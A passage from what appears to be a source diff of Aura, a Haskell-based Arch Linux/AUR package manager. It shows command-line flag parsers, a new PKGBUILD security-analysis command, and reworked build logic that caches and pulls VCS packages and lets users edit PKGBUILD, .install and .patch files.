"Unsuppress makepkg output.")-        dpb = flag' DiffPkgbuilds (long "diff" <> short 'k' <> hidden <> help "Show PKGBUILD diffs.")-        rbd = flag' RebuildDevel (long "devel" <> hidden <> help "Rebuild all git/hg/svn/darcs-based packages.")-        he  = flag' HotEdit (long "hotedit" <> hidden <> help "Edit a PKGBUILD before building.")-        ucp = flag' UseCustomizepkg (long "custom" <> hidden <> help "Run customizepkg before building.")-        dr  = flag' DryRun (long "dryrun" <> hidden <> help "Run dependency checks and PKGBUILD diffs, but don't build.")-        sa  = flag' SortAlphabetically (long "abc" <> hidden <> help "Sort search results alphabetically.")-        lv  = flag' LowVerbosity (long "quiet" <> short 'q' <> hidden <> help "Display less information.")-        fo  = flag' ForceBuilding (long "force" <> hidden <> help "Always (re)build specified packages.")-        npc = flag' NoPkgbuildCheck (long "noanalysis" <> hidden <> help "Do not analyse PKGBUILDs for security flaws.")-        asd = flag' AsDeps (long "asdeps" <> hidden <> help "All installed packages will be marked as dependencies.")--commonConfig :: Parser CommonConfig-commonConfig = CommonConfig <$> cap <*> cop <*> lfp <*> commonSwitches-  where cap = fmap Right-                   (option (eitherReader absFilePath) (long "cachedir" <> hidden <> help "Use an alternate package cache location."))-              <|> pure (Left defaultPackageCache)-        cop = fmap Right-                   (option (eitherReader absFilePath) (long "config"   <> hidden <> help "Use an alternate Pacman config file."))-              <|> pure (Left pacmanConfFile)-        lfp = fmap Right-                   (option (eitherReader absFilePath) (long "logfile"  <> hidden <> help "Use an alternate Pacman log."))-              <|> pure (Left defaultLogFile)--commonSwitches :: Parser (Set CommonSwitch)-commonSwitches = S.fromList <$> many (nc <|> no <|> dbg <|> clr <|> ovr)-  where nc  = flag' NoConfirm  (long "noconfirm" <> hidden <> help "Never ask for Aura or Pacman confirmation.")-        no  = flag' NeededOnly (long "needed"    <> hidden <> help "Don't rebuild/reinstall up-to-date packages.")-        dbg = flag' Debug      (long "debug"     <> hidden <> help "Print useful debugging info.")-        ovr = Overwrite <$> strOption (long "overwrite" <> hidden <> help "Bypas file conflict checks." <> metavar "GLOB")-        clr = Colour . f <$> strOption (long "color" <> metavar "WHEN" <> hidden <> help "Colourize the output.")-        f :: String -> ColourMode-        f "never"  = Never-        f "always" = Always-        f _        = Auto--database :: Parser PacmanOp-database = bigD *> (Database <$> (fmap Right somePkgs <|> fmap Left mods))-  where bigD   = flag' () (long "database" <> short 'D' <> help "Interact with the package database.")-        mods   = check <|> asdeps <|> asexp-        check  = flag' DBCheck (long "check" <> short 'k' <> hidden <> help "Test local database validity.")-        asdeps = DBAsDeps <$> (flag' () (long "asdeps" <> hidden <> help "Mark packages as being dependencies.") *> someArgs')-        asexp  = DBAsExplicit <$> (flag' () (long "asexplicit" <> hidden <> help "Mark packages as being explicitely installed.") *> someArgs')--files :: Parser PacmanOp-files = bigF *> (Files <$> fmap S.fromList (many mods))-  where bigF = flag' () (long "files" <> short 'F' <> help "Interact with the file database.")-        mods = lst <|> own <|> sch <|> rgx <|> rfr <|> mch-        lst  = FilesList <$> (flag' () (long "list" <> short 'l' <> hidden <> help "List the files owned by given packages.") *> someArgs')-        own  = FilesOwns <$> strOption (long "owns" <> short 'o' <> metavar "FILE" <> hidden <> help "Query the package that owns FILE.")-        sch  = FilesSearch <$> strOption (long "search" <> short 's' <> metavar "FILE" <> hidden <> help "Find package files that match the given FILEname.")-        rgx  = flag' FilesRegex (long "regex" <> short 'x' <> hidden <> help "Interpret the input of -Fs as a regex.")-        rfr  = flag' FilesRefresh (long "refresh" <> short 'y' <> hidden <> help "Download fresh package databases.")-        mch  = flag' FilesMachineReadable (long "machinereadable" <> hidden <> help "Produce machine-readable output.")--queries :: Parser PacmanOp-queries = bigQ *> (Query <$> (fmap Right query <|> fmap Left mods))-  where bigQ  = flag' () (long "query" <> short 'Q' <> help "Interact with the local package database.")-        query = curry (second (S.map PkgName)) <$> queryFilters <*> manyArgs-        mods  = chl <|> gps <|> inf <|> lst <|> own <|> fls <|> sch <|> chk-        chl   = QueryChangelog <$> (flag' () (long "changelog" <> short 'c' <> hidden <> help "View a package's changelog.") *> someArgs')-        gps   = QueryGroups <$> (flag' () (long "groups" <> short 'g' <> hidden <> help "View all members of a package group.") *> someArgs')-        inf   = QueryInfo <$> (flag' () (long "info" <> short 'i' <> hidden <> help "View package information.") *> someArgs')-        lst   = QueryList <$> (flag' () (long "list" <> short 'l' <> hidden <> help "List files owned by a package.") *> someArgs')-        chk = QueryCheck <$> (flag' () (long "check" <> short 'k' <> hidden <> help "Check that package files exist.") *> someArgs')-        own   = QueryOwns <$> (flag' () (long "owns" <> short 'o' <> hidden <> help "Find the package some file belongs to.") *> someArgs')-        fls   = QueryFile <$> (flag' () (long "file" <> short 'p' <> hidden <> help "Query a package file.") *> someArgs')-        sch   = QuerySearch <$> strOption (long "search" <> short 's' <> metavar "REGEX" <> hidden <> help "Search the local database.")--queryFilters :: Parser (Set QueryFilter)-queryFilters = S.fromList <$> many (dps <|> exp <|> frg <|> ntv <|> urq <|> upg)-  where dps = flag' QueryDeps (long "deps" <> short 'd' <> hidden <> help "[filter] Only list packages installed as deps.")-        exp = flag' QueryExplicit (long "explicit" <> short 'e' <> hidden <> help "[filter] Only list explicitly installed packages.")-        frg = flag' QueryForeign (long "foreign" <> short 'm' <> hidden <> help "[filter] Only list AUR packages.")-        ntv = flag' QueryNative (long "native" <> short 'n' <> hidden <> help "[filter] Only list official packages.")-        urq = flag' QueryUnrequired (long "unrequired" <> short 't' <> hidden <> help "[filter] Only list packages not required as a dependency to any other.")-        upg = flag' QueryUpgrades (long "upgrades" <> short 'u' <> hidden <> help "[filter] Only list outdated packages.")--remove :: Parser PacmanOp-remove = bigR *> (Remove <$> mods <*> somePkgs)-  where bigR     = flag' () (long "remove" <> short 'R' <> help "Uninstall packages.")-        mods     = S.fromList <$> many (cascade <|> nosave <|> recurse <|> unneeded)-        cascade  = flag' RemoveCascade (long "cascade" <> short 'c' <> hidden <> help "Remove packages and all others that depend on them.")-        nosave   = flag' RemoveNoSave (long "nosave" <> short 'n' <> hidden <> help "Remove configuration files as well.")-        recurse  = flag' RemoveRecursive (long "recursive" <> short 's' <> hidden <> help "Remove unneeded dependencies.")-        unneeded = flag' RemoveUnneeded (long "unneeded" <> short 'u' <> hidden <> help "Remove unneeded packages.")--sync :: Parser PacmanOp-sync = bigS *> (Sync <$> (fmap (Right . S.map PkgName) manyArgs <|> fmap Left mods) <*> (S.fromList <$> many (ref <|> ign <|> igg)))-  where bigS = flag' () (long "sync" <> short 'S' <> help "Install official packages.")-        ref  = flag' SyncRefresh (long "refresh" <> short 'y' <> hidden <> help "Update the package database.")-        mods = NELP.fromList <$> some (cln <|> gps <|> inf <|> lst <|> sch <|> upg <|> dnl)-        cln  = flag' SyncClean (long "clean" <> short 'c' <> hidden <> help "Remove old packages from the cache.")-        gps  = SyncGroups <$> (flag' () (long "groups" <> short 'g' <> hidden <> help "View members of a package group.") *> someArgs')-        inf  = SyncInfo <$> (flag' () (long "info" <> short 'i' <> hidden <> help "View package information.") *> someArgs')-        lst  = SyncList <$> strOption (long "list" <> short 'l' <> metavar "REPO" <> hidden <> help "List the packages in a REPO.")-        sch  = SyncSearch <$> strOption (long "search" <> short 's' <> metavar "REGEX" <> hidden <> help "Search the official package repos.")-        upg  = SyncUpgrade <$> (flag' () (long "sysupgrade" <> short 'u' <> hidden <> help "Upgrade installed packages.") *> manyArgs')-        dnl  = SyncDownload <$> (flag' () (long "downloadonly" <> short 'w' <> hidden <> help "Download package tarballs.") *> someArgs')-        ign  = SyncIgnore . S.fromList . map PkgName . T.split (== ',') <$>-          strOption (long "ignore" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore given packages.")-        igg  = SyncIgnoreGroup . S.fromList . map PkgGroup . T.split (== ',') <$>-          strOption (long "ignoregroup" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore packages from the given groups.")--misc :: Parser (Set MiscOp)-misc = S.fromList <$> many (ar <|> dbp <|> roo <|> ver <|> gpg <|> hd <|> con <|> dbo <|> nop <|> nos <|> pf <|> nod <|> prt <|> asi)-  where ar  = MiscArch-              <$> option (eitherReader absFilePath) (long "arch" <> metavar "ARCH" <> hidden <> help "Use an alternate architecture.")-        dbp = MiscDBPath-              <$> option (eitherReader absFilePath) (long "dbpath" <> short 'b' <> metavar "PATH" <> hidden <> help "Use an alternate database location.")-        roo = MiscRoot-              <$> option (eitherReader absFilePath) (long "root" <> short 'r' <> metavar "PATH" <> hidden <> help "Use an alternate installation root.")-        ver = flag' MiscVerbose (long "verbose" <> short 'v' <> hidden <> help "Be more verbose.")-        gpg = MiscGpgDir-              <$> option (eitherReader absFilePath) (long "gpgdir" <> metavar "PATH" <> hidden <> help "Use an alternate GnuGPG directory.")-        hd  = MiscHookDir-              <$> option (eitherReader absFilePath) (long "hookdir" <> metavar "PATH" <> hidden <> help "Use an alternate hook directory.")-        con = flag' MiscConfirm (long "confirm" <> hidden <> help "Always ask for confirmation.")-        dbo = flag' MiscDBOnly (long "dbonly" <> hidden <> help "Only modify database entries, not package files.")-        nop = flag' MiscNoProgress (long "noprogressbar" <> hidden <> help "Don't show a progress bar when downloading.")-        nos = flag' MiscNoScriptlet (long "noscriptlet" <> hidden <> help "Don't run available install scriptlets.")-        pf  = MiscPrintFormat <$> strOption (long "print-format" <> metavar "STRING" <> hidden <> help "Specify how targets should be printed.")-        nod = flag' MiscNoDeps (long "nodeps" <> short 'd' <> hidden <> help "Skip dependency version checks.")-        prt = flag' MiscPrint (long "print" <> short 'p' <> hidden <> help "Print the targets instead of performing the operation.")-        asi = MiscAssumeInstalled <$> strOption (long "assume-installed" <> metavar "<package=version>" <> hidden <> help "Add a virtual package to satisfy dependencies.")--testdeps :: Parser PacmanOp-testdeps = bigT *> (TestDeps <$> someArgs)-  where bigT = flag' () (long "deptest" <> short 'T' <> help "Test dependencies - useful for scripts.")--upgrades :: Parser PacmanOp-upgrades = bigU *> (Upgrade <$> (S.fromList <$> many mods) <*> somePkgs)-  where bigU = flag' () (long "upgrade" <> short 'U' <> help "Install given package files.")-        mods = asd <|> ase <|> ign <|> igg-        asd = flag' UpgradeAsDeps (long "asdeps" <> hidden)-        ase = flag' UpgradeAsExplicit (long "asexplicit" <> hidden)-        ign  = UpgradeIgnore . S.fromList . map PkgName . T.split (== ',') <$>-          strOption (long "ignore" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore given packages.")-        igg  = UpgradeIgnoreGroup . S.fromList . map PkgGroup . T.split (== ',') <$>-          strOption (long "ignoregroup" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore packages from the given groups.")--somePkgs :: Parser (NonEmpty PkgName)-somePkgs = NELP.fromList . map PkgName <$> some (argument str (metavar "PACKAGES"))---- | Same as `someArgs`, but the help message "brief display" won't show PACKAGES.-somePkgs' :: Parser (NonEmpty PkgName)-somePkgs' = NELP.fromList . map PkgName <$> some (argument str (metavar "PACKAGES" <> hidden))---- | One or more arguments.-someArgs :: Parser (NonEmpty Text)-someArgs = NEL.nub . NELP.fromList <$> some (argument str (metavar "PACKAGES"))---- | Same as `someArgs`, but the help message "brief display" won't show PACKAGES.-someArgs' :: Parser (NonEmpty Text)-someArgs' = NEL.nub . NELP.fromList <$> some (argument str (metavar "PACKAGES" <> hidden))---- | Zero or more arguments.-manyArgs :: Parser (Set Text)-manyArgs = S.fromList <$> many (argument str (metavar "PACKAGES"))---- | Zero or more arguments.-manyArgs' :: Parser (Set Text)-manyArgs' = S.fromList <$> many (argument str (metavar "PACKAGES" <> hidden))--language :: Parser Language-language = foldr1 (<|>) $ map (\(f, v) -> flag' v (long f <> hidden)) langs-  where langs = [ ( "japanese",   Japanese ),   ( "日本語",        Japanese )-                , ( "polish",     Polish ),     ( "polski",     Polish )-                , ( "croatian",   Croatian ),   ( "hrvatski",   Croatian )-                , ( "swedish",    Swedish ),    ( "svenska",    Swedish )-                , ( "german",     German ),     ( "deutsch",    German )-                , ( "spanish",    Spanish ),    ( "español",    Spanish )-                , ( "portuguese", Portuguese ), ( "português",  Portuguese )-                , ( "french",     French),      ( "français",   French )-                , ( "russian",    Russian ),    ( "русский",    Russian )-                , ( "italian",    Italian ),    ( "italiano",   Italian )-                , ( "serbian",    Serbian ),    ( "српски",     Serbian )-                , ( "norwegian",  Norwegian ),  ( "norsk",      Norwegian )-                , ( "indonesian", Indonesia )-                , ( "chinese",    Chinese ),    ( "中文",         Chinese )-                , ( "esperanto",  Esperanto )-                , ( "dutch",      Dutch ),      ( "nederlands", Dutch ) ]--logLevel :: Parser LogLevel-logLevel = option (eitherReader l)-  (long "log-level" <> metavar "debug|info|warn|error" <> value LevelInfo-   <> help "The minimum level of log messages to display (default: info)")-  where-    l :: String -> Either String LogLevel-    l "debug" = Right LevelDebug-    l "info"  = Right LevelInfo-    l "warn"  = Right LevelWarn-    l "error" = Right LevelError-    l _       = Left "Must be one of debug|info|warn|error"--absFilePath :: String -> Either String FilePath-absFilePath fp = bool (Left $ "Not absolute: " <> fp) (Right fp) $ isAbsolute fp
− exec/Settings.hs
@@ -1,88 +0,0 @@-{-# LANGUAGE BangPatterns #-}--{---Copyright 2012 - 2020 Colin Woodbury <colin@fosskers.ca>--This file is part of Aura.--Aura is free software: you can redistribute it and/or modify-it under the terms of the GNU General Public License as published by-the Free Software Foundation, either version 3 of the License, or-(at your option) any later version.--Aura is distributed in the hope that it will be useful,-but WITHOUT ANY WARRANTY; without even the implied warranty of-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the-GNU General Public License for more details.--You should have received a copy of the GNU General Public License-along with Aura.  If not, see <http://www.gnu.org/licenses/>.---}--module Settings ( withEnv ) where--import           Aura.Core (Env(..))-import           Aura.Languages-import           Aura.Packages.AUR (aurRepo)-import           Aura.Packages.Repository (pacmanRepo)-import           Aura.Pacman-import           Aura.Settings-import           Aura.Shell-import           Aura.Types-import           Aura.Utils (nes)-import           Data.Bifunctor (Bifunctor(..))-import           Flags-import           Lens.Micro (folded, (^..), _Right)-import           Network.HTTP.Client (newManager)-import           Network.HTTP.Client.TLS (tlsManagerSettings)-import           RIO hiding (FilePath, first)-import qualified RIO.Map as M-import qualified RIO.Set as S-import qualified RIO.Text as T-import           System.Environment (getEnvironment)--------- | Bracket around the `Env` type to properly initialize the `Manager` and--- `RIO` logger function (among other things).------ Throws in `IO` if there were any errors.-withEnv :: Program -> (Env -> IO a) -> IO a-withEnv (Program op co bc lng ll) f = do-  let ign = S.fromList $ op ^.. _Right . _AurSync . folded . _AurIgnore . folded-      igg = S.fromList $ op ^.. _Right . _AurSync . folded . _AurIgnoreGroup . folded-  confFile    <- getPacmanConf (either id id $ configPathOf co) >>= either throwM pure-  environment <- M.fromList . map (bimap T.pack T.pack) <$> getEnvironment-  manager     <- newManager tlsManagerSettings-  isTerm      <- hIsTerminalDevice stdout-  fromGroups  <- maybe (pure S.empty) groupPackages . nes-    $ getIgnoredGroups confFile <> igg-  let language = checkLang lng environment-  bu <- maybe (throwM $ Failure whoIsBuildUser_1) pure-    $ buildUserOf bc <|> getTrueUser environment-  repos <- (<>) <$> pacmanRepo <*> aurRepo-  lopts <- setLogMinLevel ll . setLogUseLoc True <$> logOptionsHandle stderr True-  withLogFunc lopts $ \logFunc -> do-    let !ss = Settings-          { managerOf      = manager-          , envOf          = environment-          , langOf         = language-          , editorOf       = getEditor environment-          , isTerminal     = isTerm-          , ignoresOf      = getIgnoredPkgs confFile <> fromGroups <> ign-          , commonConfigOf =-              -- | These maintain the precedence order: flags, config file entry, default-              co { cachePathOf =-                     first (\x -> fromMaybe x $ getCachePath confFile) $ cachePathOf co-                 , logPathOf   =-                     first (\x -> fromMaybe x $ getLogFilePath confFile) $ logPathOf co }-          , buildConfigOf = bc { buildUserOf = Just bu}-          , logLevelOf = ll-          , logFuncOf = logFunc }-    f (Env repos ss)--checkLang :: Maybe Language -> Environment -> Language-checkLang Nothing env   = langFromLocale $ getLocale env-checkLang (Just lang) _ = lang
exec/aura.hs view
@@ -39,22 +39,24 @@ import           Aura.Commands.C as C import           Aura.Commands.L as L import           Aura.Commands.O as O+import           Aura.Commands.P as P import           Aura.Core+import           Aura.Flags import           Aura.IO import           Aura.Languages import           Aura.Logo import           Aura.Pacman import           Aura.Settings+import           Aura.Settings.Runtime import           Aura.Types import           Aura.Utils (nes) import           Data.Bifunctor (first) import           Data.Text.Prettyprint.Doc import           Data.Text.Prettyprint.Doc.Render.Terminal-import           Flags import           Options.Applicative (execParser) import           RIO hiding (first)+import           RIO.FilePath import qualified RIO.Set as S-import           Settings import           System.Process.Typed (proc, runProcess)  ---@@ -117,29 +119,30 @@         Left (AurUpgrade ps)  -> bool (trueRoot . sudo) id (switch ss DryRun) $ A.upgradeAURPkgs ps         Left (AurJson ps)     -> A.aurJson ps         Left (AurTarball ps)  -> A.fetchTarball ps-    Right (Backup o) ->-      case o of-        Nothing              -> sudo . liftIO $ B.saveState ss-        Just (BackupClean n) -> sudo . liftIO $ B.cleanStates ss n-        Just BackupRestore   -> sudo B.restoreState-        Just BackupList      -> liftIO B.listStates-    Right (Cache o) ->-      case o of-        Right ps                -> sudo $ C.downgradePackages ps-        Left (CacheSearch s)    -> C.searchCache s-        Left (CacheClean n)     -> sudo $ C.cleanCache n-        Left CacheCleanNotSaved -> sudo C.cleanNotSaved-        Left (CacheBackup pth)  -> sudo $ C.backupCache pth-    Right (Log o) ->-      case o of-        Nothing            -> L.viewLogFile-        Just (LogInfo ps)  -> L.logInfoOnPkg ps-        Just (LogSearch s) -> asks settings >>= liftIO . flip L.searchLogFile s-    Right (Orphans o) ->-      case o of-        Nothing               -> liftIO O.displayOrphans-        Just OrphanAbandon    -> sudo $ liftIO orphans >>= traverse_ removePkgs . nes-        Just (OrphanAdopt ps) -> O.adoptPkg ps+    Right (Backup o) -> case o of+      Nothing              -> sudo . liftIO $ B.saveState ss+      Just (BackupClean n) -> sudo . liftIO $ B.cleanStates ss n+      Just BackupRestore   -> sudo B.restoreState+      Just BackupList      -> liftIO B.listStates+    Right (Cache o) -> case o of+      Right ps                -> sudo $ C.downgradePackages ps+      Left (CacheSearch s)    -> C.searchCache s+      Left (CacheClean n)     -> sudo $ C.cleanCache n+      Left CacheCleanNotSaved -> sudo C.cleanNotSaved+      Left (CacheBackup pth)  -> sudo $ C.backupCache pth+    Right (Log o) -> case o of+      Nothing            -> L.viewLogFile+      Just (LogInfo ps)  -> L.logInfoOnPkg ps+      Just (LogSearch s) -> asks settings >>= liftIO . flip L.searchLogFile s+    Right (Orphans o) -> case o of+      Nothing               -> liftIO O.displayOrphans+      Just OrphanAbandon    -> sudo $ liftIO orphans >>= traverse_ removePkgs . nes+      Just (OrphanAdopt ps) -> O.adoptPkg ps+    Right (Analysis o) -> case o of+      Nothing                -> P.exploitsFromStdin+      Just (AnalysisFile fp) -> P.exploitsFromFile fp+      Just (AnalysisDir fp)  -> P.exploitsFromFile $ fp </> "PKGBUILD"+      Just AnalysisAudit     -> P.audit     Right Version   -> liftIO $ versionInfo >>= animateVersionMsg ss auraVersion     Right Languages -> displayOutputLanguages     Right ViewConf  -> viewConfFile
lib/Aura/Build.hs view
@@ -1,3 +1,6 @@+{-# LANGUAGE BangPatterns #-}+{-# LANGUAGE LambdaCase   #-}+ -- | -- Module    : Aura.Build -- Copyright : (c) Colin Woodbury, 2012 - 2020@@ -9,6 +12,8 @@ module Aura.Build   ( installPkgFiles   , buildPackages+  , srcPkgStore+  , vcsStore   ) where  import           Aura.Core@@ -20,12 +25,13 @@ import           Aura.Settings import           Aura.Shell (chown) import           Aura.Types-import           Aura.Utils+import           Aura.Utils (edit) import           Control.Monad.Trans.Except import           Data.Hashable (hash) import           RIO import           RIO.Directory import           RIO.FilePath+import qualified RIO.List as L import qualified RIO.NonEmpty as NEL import           RIO.Partial (fromJust) import qualified RIO.Set as S@@ -35,9 +41,17 @@  --- +-- | Storage location for "source" packages built with @--allsource@.+-- Can be overridden in config or with @--allsourcepath@. srcPkgStore :: FilePath srcPkgStore = "/var/cache/aura/src" +-- | Storage/build location for VCS packages like @cool-retroterm-git@. Some of+-- these packages are quite large (e.g. kernels), and so recloning them in their+-- entirety upon each @-Au@ is wasteful.+vcsStore :: FilePath+vcsStore = "/var/cache/aura/vcs"+ -- | Expects files like: \/var\/cache\/pacman\/pkg\/*.pkg.tar.xz installPkgFiles :: NonEmpty PackagePath -> RIO Env () installPkgFiles files = do@@ -47,45 +61,70 @@  -- | All building occurs within temp directories, -- or in a location specified by the user with flags.-buildPackages :: NonEmpty Buildable -> RIO Env (NonEmpty PackagePath)-buildPackages bs = mapMaybeA build (NEL.toList bs) >>= maybe bad (pure . fold1) . NEL.nonEmpty-  where-    bad :: RIO Env a-    bad = throwM $ Failure buildFail_10+buildPackages :: NonEmpty Buildable -> RIO Env [PackagePath]+buildPackages bs = mapMaybeA build (NEL.toList bs) >>= \case+  [] -> throwM $ Failure buildFail_10+  built -> pure $ concat built  -- | Handles the building of Packages. Fails nicely. -- Assumed: All dependencies are already installed.-build :: Buildable -> RIO Env (Maybe (NonEmpty PackagePath))+build :: Buildable -> RIO Env (Maybe [PackagePath]) build p = do   logDebug $ "Building: " <> display (pnName $ bName p)   ss <- asks settings   notify ss (buildPackages_1 $ bName p) *> hFlush stdout-  result <- build' ss p+  result <- build' p   either buildFail (pure . Just) result  -- | Should never throw an IO Exception. In theory all errors -- will come back via the @Language -> String@ function.-build' :: Settings -> Buildable -> RIO Env (Either Failure (NonEmpty PackagePath))-build' ss b = do-  let pth = buildPathOf $ buildConfigOf ss-  liftIO $ createDirectoryIfMissing True pth+--+-- If the package is a VCS package (i.e. ending in -git, etc.), it will be built+-- and stored in a separate, deterministic location to prevent repeated clonings+-- during subsequent builds.+--+-- If `--allsource` was given, then the package isn't actually built.+-- Instead, a @.src.tar.gz@ file is produced and copied to `srcPkgStore`.+build' :: Buildable -> RIO Env (Either Failure [PackagePath])+build' b = do+  ss <- asks settings+  let !isDevel = isDevelPkg $ bName b+      !pth | isDevel = fromMaybe vcsStore . vcsPathOf $ buildConfigOf ss+           | otherwise = fromMaybe defaultBuildDir . buildPathOf $ buildConfigOf ss+      !usr = fromMaybe (User "UNKNOWN") . buildUserOf $ buildConfigOf ss+  createDirectoryIfMissing True pth   setCurrentDirectory pth-  buildDir <- liftIO $ randomDirName b-  liftIO $ createDirectoryIfMissing True buildDir+  buildDir <- liftIO $ getBuildDir b+  createDirectoryIfMissing True buildDir   setCurrentDirectory buildDir   runExceptT $ do-    bs <- ExceptT $ cloneRepo b usr-    liftIO $ setCurrentDirectory bs+    bs <- ExceptT $ do+      let !dir = buildDir </> T.unpack (pnName $ bName b)+      pulled <- doesDirectoryExist dir+      bool (cloneRepo b usr) (pure $ Right dir) pulled+    setCurrentDirectory bs+    when isDevel $ ExceptT pullRepo     liftIO $ overwritePkgbuild ss b-    pNames <- ExceptT . liftIO $ makepkg ss usr-    paths  <- liftIO $ traverse (moveToCachePath ss) pNames-    liftIO . when (S.member AllSource . makepkgFlagsOf $ buildConfigOf ss) $-      makepkgSource usr >>= traverse_ moveToSourcePath-    pure paths-  where-    usr :: User-    usr = fromMaybe (User "桜木花道") . buildUserOf $ buildConfigOf ss+    liftIO $ overwriteInstall ss+    liftIO $ overwritePatches ss+    if S.member AllSource . makepkgFlagsOf $ buildConfigOf ss+      then do+        let !allsourcePath = fromMaybe srcPkgStore . allsourcePathOf $ buildConfigOf ss+        liftIO (makepkgSource usr >>= traverse_ (moveToSourcePath allsourcePath)) $> []+      else do+        pNames <- ExceptT . liftIO . fmap (fmap NEL.toList) $ makepkg ss usr+        liftIO $ traverse (moveToCachePath ss) pNames +getBuildDir :: Buildable -> IO FilePath+getBuildDir b+  | isDevelPkg $ bName b = vcsBuildDir $ bName b+  | otherwise = randomDirName b++vcsBuildDir :: PkgName -> IO FilePath+vcsBuildDir (PkgName pn) = do+  pwd <- getCurrentDirectory+  pure $ pwd </> T.unpack pn+ -- | Create a temporary directory with a semi-random name based on -- the `Buildable` we're working with. randomDirName :: Buildable -> IO FilePath@@ -107,12 +146,43 @@     Nothing -> pure . Left . Failure . buildFail_7 $ bName pkg     Just sd -> chown usr sd ["-R"] $> Right sd --- | The user may have edited the original PKGBUILD. If they have, we need to--- overwrite what's been downloaded before calling `makepkg`.+-- | Assuming that we're already in a VCS-based package's build folder,+-- just pull the latest instead of cloning.+pullRepo :: RIO Env (Either Failure ())+pullRepo = do+  ec <- runProcess . setStderr closed . setStdout closed $ proc "git" ["pull"]+  case ec of+    ExitFailure _ -> pure . Left $ Failure buildFail_12+    ExitSuccess   -> pure $ Right ()++-- | Edit the PKGBUILD in-place, if the user wants to. overwritePkgbuild :: Settings -> Buildable -> IO ()-overwritePkgbuild ss p = when (switch ss HotEdit || switch ss UseCustomizepkg) $-  writeFileBinary "PKGBUILD" . pkgbuild $ bPkgbuild p+overwritePkgbuild ss b = when (switch ss HotEdit) . liftIO $ do+  ans <- optionalPrompt ss (hotEdit_1 $ bName b)+  when ans $ edit (editorOf ss) "PKGBUILD" +-- | Edit the .install file in-place, if the user wants to and it exists.+overwriteInstall :: Settings -> IO ()+overwriteInstall ss = when (switch ss HotEdit) . liftIO $ do+  files <- getCurrentDirectory >>= listDirectory+  case L.find ((== ".install") . takeFileName) files of+    Nothing -> pure ()+    Just _  -> do+      ans <- optionalPrompt ss hotEdit_2+      when ans $ edit (editorOf ss) ".install"++-- | Edit the all .patch files, if the user wants to and some exist.+overwritePatches :: Settings -> IO ()+overwritePatches ss = when (switch ss HotEdit) . liftIO $ do+  files <- getCurrentDirectory >>= listDirectory+  let !patches = filter ((== ".patch") . takeExtension) files+  traverse_ f patches+  where+    f :: FilePath -> IO ()+    f p = do+      ans <- optionalPrompt ss $ hotEdit_3 p+      when ans $ edit (editorOf ss) p+ -- | Inform the user that building failed. Ask them if they want to -- continue installing previous packages that built successfully. buildFail :: Failure -> RIO Env (Maybe a)@@ -130,6 +200,11 @@                   $ proc "cp" ["--reflink=auto", p, newName]  -- | Moves a file to the aura src package cache and returns its location.-moveToSourcePath :: FilePath -> IO FilePath-moveToSourcePath p = renameFile p newName $> newName-  where newName = srcPkgStore </> takeFileName p+moveToSourcePath :: FilePath -> FilePath -> IO FilePath+moveToSourcePath allsourcePath p = do+  createDirectoryIfMissing True allsourcePath+  copy $> newName+  where+    newName = allsourcePath </> takeFileName p+    copy    = runProcess . setStderr closed . setStdout closed+              $ proc "cp" ["--reflink=auto", p, newName]
lib/Aura/Cache.hs view
@@ -46,7 +46,7 @@  -- | Given a path to the package cache, yields its contents in a usable form. cacheContents :: FilePath -> IO Cache-cacheContents pth = cache . mapMaybe (packagePath . (pth </>)) <$> getDirectoryContents pth+cacheContents pth = cache . mapMaybe (packagePath . (pth </>)) <$> listDirectory pth  -- | All packages from a given `Set` who have a copy in the cache. pkgsInCache :: Settings -> Set PkgName -> IO (Set PkgName)
− lib/Aura/Commands/A.hs
@@ -1,225 +0,0 @@-{-# LANGUAGE BangPatterns #-}-{-# LANGUAGE LambdaCase   #-}---- |--- Module    : Aura.Commands.A--- Copyright : (c) Colin Woodbury, 2012 - 2020--- License   : GPL3--- Maintainer: Colin Woodbury <colin@fosskers.ca>------ Handle all @-A@ flags - those which involve viewing and building packages--- from the AUR.--module Aura.Commands.A-  ( I.install-  , upgradeAURPkgs-  , aurPkgInfo-  , aurPkgSearch-  , I.displayPkgDeps-  , displayPkgbuild-  , aurJson-  , fetchTarball-  ) where--import           Aura.Colour-import           Aura.Core-import qualified Aura.Install as I-import           Aura.IO-import           Aura.Languages-import           Aura.Packages.AUR-import           Aura.Pkgbuild.Fetch-import           Aura.Settings-import           Aura.State (saveState)-import           Aura.Types-import           Aura.Utils-import           Data.Aeson-import           Data.Text.Prettyprint.Doc-import           Data.Text.Prettyprint.Doc.Render.Terminal-import           Data.Versions (Versioning, prettyV, versioning)-import           Linux.Arch.Aur-import           Network.HTTP.Client (Manager)-import           RIO-import qualified RIO.ByteString as B-import qualified RIO.ByteString.Lazy as BL-import qualified RIO.List as L-import           RIO.List.Partial (maximum)-import qualified RIO.NonEmpty as NEL-import qualified RIO.Set as S-import qualified RIO.Text as T-import           RIO.Text.Partial (splitOn)-import           Text.Printf (printf)--------- | The result of @-Au@.-upgradeAURPkgs :: Set PkgName -> RIO Env ()-upgradeAURPkgs pkgs = do-  ss <- asks settings-  notify ss upgradeAURPkgs_1-  fs <- liftIO (foreigns ss)-  traverse_ (upgrade pkgs) $ nes fs---- | Foreign packages to consider for upgrading, after "ignored packages" have--- been taken into consideration.-foreigns :: Settings -> IO (Set SimplePkg)-foreigns ss = S.filter (notIgnored . spName) <$> foreignPackages-  where notIgnored p = not . S.member p $ ignoresOf ss--upgrade :: Set PkgName -> NonEmpty SimplePkg -> RIO Env ()-upgrade pkgs fs = do-  logDebug $ "Considering " <> display (NEL.length fs) <> " 'foreign' packages for upgrade."-  unless (null pkgs)-    $ logDebug $ "Also installing " <> display (S.size pkgs) <> " other packages."-  ss        <- asks settings-  toUpgrade <- possibleUpdates fs-  logDebug $ "Potential upgrades: " <> display (length toUpgrade)-  let !names = map (PkgName . aurNameOf . fst) toUpgrade-  auraFirst <- auraCheck names-  logDebug $ "Upgrade Aura first? ... " <> maybe "No." (const "Yes!") auraFirst-  case auraFirst of-    Just a  -> auraUpgrade a-    Nothing -> do-      devel <- develPkgCheck-      notify ss upgradeAURPkgs_2-      if null toUpgrade && null devel-        then warn ss upgradeAURPkgs_3-        else do-          reportPkgsToUpgrade toUpgrade (toList devel)-          liftIO . unless (switch ss DryRun) $ saveState ss-          traverse_ I.install . nes $ S.fromList names <> pkgs <> devel--possibleUpdates :: NonEmpty 